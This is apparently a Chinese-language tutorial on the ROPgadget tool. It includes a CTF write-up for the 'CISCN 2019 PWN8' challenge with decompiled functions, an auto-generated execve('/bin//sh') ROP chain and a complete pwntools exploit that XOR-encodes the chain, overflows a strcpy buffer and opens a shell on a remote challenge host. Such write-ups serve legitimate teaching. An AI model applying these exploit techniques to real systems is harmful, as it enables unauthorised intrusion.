ROPgadget

文章发布时间:

最后更新时间:

安装

1
2
3
4
sudo apt-get install python-capstone
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
sudo -H python3 setup.py install

一般使用

1
2
┌──(str1d3r㉿str1k3Gwindows)-[~/Desktop]
└─$ ROPgadget --binary <file > |grep "<gadget>"

特殊情况给出一例题
[CISCN 2019华南]PWN8

1
2
3
4
5
6
7
8
9
10
┌──(str1d3r㉿str1k3Gwindows)-[~/Desktop/nssctf/[CISCN 2019华南]PWN8]
└─$ python exp.py
[+] Starting local process './pwn': pid 221
[DEBUG] '/[CISCN 2019华南]PWN8/pwn' is statically linked, skipping GOT/PLT symbols
[*] '/[CISCN 2019华南]PWN8/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
ROPgadget --binary pwn --ropchain

面对静态链接的题,ROPgadget可以自动生成rop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x000000000044c156) # pop rdx ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040139c) # syscall

再来看看这道题还有什么别的:
main

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 sub_4005A0()
{
char v1[520]; // [rsp+0h] [rbp-208h] BYREF

sub_400BF0();
sub_410550("Please enter your Password: ");
sub_449BE0(0, v1, 0x200uLL);
if ( (unsigned int)sub_400C40(v1) )
sub_410550("Correct!");
else
sub_410550("Wrong!");
return 0LL;
}

printf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
__int64 __fastcall sub_410550(__int64 a1)
{
__int64 v2; // rax
_QWORD *v3; // rbp
__int64 v4; // rbx
_DWORD *v5; // rdi
int v6; // eax
unsigned __int64 v8; // r8
bool v10; // zf
int v11; // eax
__int64 v12; // r13
_BYTE *v13; // rax
unsigned __int64 v14; // rbx
__int64 v15; // rdx

v2 = sub_4004C0();
v3 = off_6BA7A0;
v4 = v2;
v5 = off_6BA7A0;
if ( (*(_DWORD *)off_6BA7A0 & 0x8000) == 0 )
{
_RDX = *((_QWORD *)off_6BA7A0 + 17);
v8 = __readfsqword(0x10u);
if ( *(_QWORD *)(_RDX + 8) == v8 )
{
LABEL_9:
++*(_DWORD *)(_RDX + 4);
goto LABEL_10;
}
_ESI = 1;
v10 = dword_6BD80C == 0;
if ( dword_6BD80C )
{
v6 = *(_DWORD *)off_6BA7A0 & 0x8000;
if ( v6 == _InterlockedCompareExchange((volatile signed __int32 *)_RDX, 1, v6) )
goto LABEL_8;
}
else
{
__asm { cmpxchg [rdx], esi }
if ( v10 )
{
LABEL_8:
_RDX = v3[17];
v5 = off_6BA7A0;
*(_QWORD *)(_RDX + 8) = v8;
goto LABEL_9;
}
}
sub_44C130(_RDX, 1LL);
goto LABEL_8;
}
LABEL_10:
v11 = v5[48];
if ( v11 )
{
if ( v11 != -1 )
goto LABEL_28;
}
else
{
v5[48] = -1;
}
v12 = *((_QWORD *)v5 + 27);
if ( (char *)&off_6BC2C8 - (char *)&unk_6BBC20 <= (unsigned __int64)(v12 - (_QWORD)&unk_6BBC20) )
{
sub_412C50();
v5 = off_6BA7A0;
}
if ( v4 != (*(__int64 (__fastcall **)(_DWORD *, __int64, __int64))(v12 + 56))(v5, a1, v4) )
goto LABEL_28;
v13 = (_BYTE *)*((_QWORD *)off_6BA7A0 + 5);
if ( (unsigned __int64)v13 < *((_QWORD *)off_6BA7A0 + 6) )
{
*((_QWORD *)off_6BA7A0 + 5) = v13 + 1;
*v13 = 10;
goto LABEL_17;
}
if ( (unsigned int)sub_416970(off_6BA7A0, 10LL) == -1 )
{
LABEL_28:
LODWORD(v14) = -1;
goto LABEL_19;
}
LABEL_17:
v14 = v4 + 1;
if ( v14 > 0x7FFFFFFF )
LODWORD(v14) = 0x7FFFFFFF;
LABEL_19:
if ( (*(_DWORD *)v3 & 0x8000) == 0 )
{
v15 = v3[17];
v10 = (*(_DWORD *)(v15 + 4))-- == 1;
if ( v10 )
{
*(_QWORD *)(v15 + 8) = 0LL;
if ( dword_6BD80C )
{
if ( !_InterlockedDecrement((volatile signed __int32 *)v15) )
return (unsigned int)v14;
goto LABEL_25;
}
v10 = (*(_DWORD *)v15)-- == 1;
if ( !v10 )
LABEL_25:
sub_44C160(v15);
}
}
return (unsigned int)v14;
}

read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 __fastcall sub_449BE0(unsigned int fd, char *buf, size_t count)
{
unsigned __int64 result; // rax
unsigned __int64 v5; // rax
unsigned int v6; // r8d
unsigned __int64 v7; // [rsp+0h] [rbp-20h]

if ( dword_6BD80C )
{
sub_44C180();
v5 = sys_read(fd, buf, count);
if ( v5 > 0xFFFFFFFFFFFFF000LL )
{
__writefsdword(0xFFFFFFC0, -(int)v5);
v5 = -1LL;
}
v7 = v5;
sub_44C1E0(v6);
return v7;
}
else
{
result = sys_read(fd, buf, count);
if ( result > 0xFFFFFFFFFFFFF000LL )
{
__writefsdword(0xFFFFFFC0, -(int)result);
return -1LL;
}
}
return result;
}

这个函数会把传入的参数进行异或,所以我们要先把先前生成的rop链异或再传入,顺便缩短一下ropchain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
_BOOL8 __fastcall sub_400C40(const char *a1)
{
char *v1; // rbp
int v2; // edx
unsigned int v3; // eax
__int64 v4; // rbp
__int64 v5; // r12
char *v6; // rax
char *v7; // rdx
_BOOL8 result; // rax
char v9; // [rsp+8h] [rbp-50h] BYREF
_BYTE v10[7]; // [rsp+9h] [rbp-4Fh] BYREF
char v11[72]; // [rsp+10h] [rbp-48h] BYREF

v1 = strcpy(&v9, a1);
do
{
v2 = *(_DWORD *)v1;
v1 += 4;
v3 = ~v2 & (v2 - 16843009) & 0x80808080;
}
while ( !v3 );
if ( (~v2 & (v2 - 16843009) & 0x8080) == 0 )
v3 >>= 16;
if ( (~v2 & (v2 - 16843009) & 0x8080) == 0 )
v1 += 2;
v4 = &v1[-__CFADD__((_BYTE)v3, (_BYTE)v3) - 3] - &v9;
v5 = sub_4102B0("pass_enc.txt", &unk_4A593F);
if ( (__int16)v4 > 0 )
{
v6 = v10;
v7 = &v9;
while ( 1 )
{
*v7 ^= 0x66u; //这里有个异或
v7 = v6;
if ( v6 == &v10[(__int16)v4 - 1] )
break;
++v6;
}
}
result = 0LL;
if ( v5 )
{
sub_4103D0(v11, 40LL, 1LL, v5);
sub_40FD50(v5);
return (unsigned int)sub_400498(v11, &v9) == 0;
}
return result;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from ctypes import *
from pwn import *
#io = process('./pwn')
io = remote('node3.anna.nssctf.cn',28324)
context(log_level='debug',arch='amd64', os='linux')
elf = ELF('./pwn')
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += p64(59)
p += pack('<Q', 0x000000000040139c) # syscall
ep = b''
for i in range(len(p)):
ep += p8(ord(p[i:i+1]) ^ 0x66)


payload = b'a'*0x50 + ep
io.sendafter(b'Password: \n', payload)
io.interactive()